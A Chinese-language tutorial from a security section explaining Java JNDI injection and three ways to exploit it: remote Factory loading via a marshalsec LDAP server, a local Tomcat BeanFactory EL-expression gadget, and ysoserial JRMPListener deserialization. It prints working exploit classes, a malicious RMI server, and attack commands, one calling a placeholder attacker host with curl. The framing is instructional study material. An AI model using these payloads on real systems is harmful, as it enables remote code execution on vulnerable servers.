您当前的位置:首页 > 计算机 > 安全防护

JNDI注入漏洞

时间:10-14来源:作者:点击数:

关于JNDI相关知识已经在上一篇文章中进行说明:JNDI学习笔记

这一篇将主要学习JNDI注入漏洞的利用手法。

JNDI注入漏洞概述

JNDI是Java里独有的概念,因此JNDI注入也是Java中独有的一类安全漏洞。如果有应用程序进行了JNDI查询,并且其查询的地址或者名称攻击者可控的话,就会形成JNDI注入漏洞。

比如如下代码:

// env是用于创建InitialContext的环境变量属性配置
Hashtable env = new Hashtable();
// Context.INITIAL_CONTEXT_FACTORY即字符串java.naming.factory.initial
  env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
// Context.PROVIDER_URL即字符串java.naming.provider.url
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
// 创建 InitialContext
InitialContext context = new InitialContext(env);
// 根据用户传递的参数 name 作为名字查询绑定的对象
Object obj = context.lookup(request.getParameter("name"));

尽管这里传递给InitialContext的Hashtable变量里已经设置了 java.naming.provider.url 为应用想访问的RMI服务地址,但实际上在执行lookup方法时,会对传递的name参数进行解析。如果name是一个完整的URL字符串的话,lookup的地址就会动态切换到name指定的地址。此时攻击者构造name参数的值为自己服务器的ip,应用程序就会向服务器发送请求。攻击者可以构造恶意的RMI或LDAP等命名目录服务,来使目标进行远程类加载,或者进行反序列化攻击,最终可以在目标服务器上执行恶意代码。

JNDI注入漏洞利用

JNDI注入漏洞的可利用手法:

  • 利用Reference加载远程Factory类
  • 利用Reference加载本地Factory类
  • 反序列化

利用Reference加载远程Factory类

利用流程:

  1. 攻击者构造RMI协议的URL字符串(对应攻击者构建的RMI服务地址)作为参数传入目标应用的 JNDI lookup方法中。
  2. 目标应用连接到攻击者指向的RMI服务,查询得到一个恶意的 JNDI Reference
  3. 目标应用对 JNDI Reference进行解析
  4. 根据Reference解析的结果,目标应用从攻击者控制的一个Web服务上下载Factory类的字节码
  5. 目标应用对下载得到的类字节码做初始化加载,攻击者的恶意代码被执行。

复现:

需要使用Marshalsec这款工具里已经集成有构建恶意RMI或LDAP服务的程序,这款工具的使用需要Java8的环境

项目地址:GitHub - mbechler/marshalsec

命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps-ip//#Exploit 389

这个命令会在389端口监听一个LDAP服务,当被攻击者对它进行 JNDI lookup 查询时,它会返回一个Reference。类加载地址指向http://vps-ip/Exploit.class,Exploit.class是攻击者自己编译的恶意Java代码经编译后得到的字节码。源码如下:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        java.lang.Runtime.getRuntime().exec(new String[] {"/bin/bash", "-c", "touch /tmp/pwned"});
        return null;
    }
}

被攻击者代码;

String jndiurl = "ldap://启动ldap服务的主机:389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);

受害者值如下代码就会向向攻击者电脑(开启LDAP或者RMI)发送请求,返回一个Reference,类加载服务器上的恶意文件,Exploit.class文件里面的命令:touch /tmp/pwned 就会被执行

利用Reference加载本地Factory类

从高版本JDK开始,就禁止RMI和LDAP远程加载Factory类,但若是在目标依赖环境中可以找到危险的Factory,同样可以加载Factory类,完成代码执行。

可以Tomcat Server的一个类,org.apache.naming.factory.BeanFactory。由于该类的getObjectInstace方法进行了反射作用,所以可以通过利用它调用java.el.ELProcessor的eval方法,最后实现EL表达式来达到远程代码执行的效果。利用代码如下:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

这段代码启动了RMI服务,目标程序如果有Tomcat相关依赖,而且有作用类似下面的代码,就能来连接上恶意的RMI服务,最终通过构造表达式执行系统命令nslookup jndi.s.artsploit.com

new InitialContext().lookup("rmi://evil_rmi_server:1097/Object");

出来这种方法,还有其它许多的危险的Factory类,都已经集成到GITHUB项目rogue-jndi中。

项目地址:GitHub - veracode-research/rogue-jndi: A malicious LDAP server for JNDI injection attacks

使用方法:

java -jar target/RogueJndi-1.0.jar --command "命令" --hostname 本机地址

在本地启动这些服务,然后在易受攻击的客户端上触发 JNDI 解析

反序列化

前面的两种方法是通过将恶意的Java对象绑定到RMI和JDAP这些命名目录服务上,是通过序列化特定的对象字节码来实现攻击的。还可以通过JNDI注入来实现反序列化攻击。

反序列化攻击可以借助ysoserial中的JRMPListener来完成。

项目地址:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

使用方法:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonCollections6 "curl http://you-ip/"

会在本机1099端口经停JRMP服务(是RMI用到的底层协议),当受害者执行下面代码时,JRMP就会构建恶意的Commons Collection序列化数据返回给受害者客户端,如果受害者客户端存在有缺陷的Apache Commons Collection库,反序列化攻击就会成功,命令被执行。

String jndiurl = "ldap://you-ip:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);

总结

基于Reference的远程/本地加载Factory类,攻击端需要启动LDAP/RMI目录服务,当攻击机请求之后,就会加载远程/本地的Factory来实现远程代码执行。

反序列化的利用则是直接注入恶意的序列化数据,来达到远程代码执行的目的。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门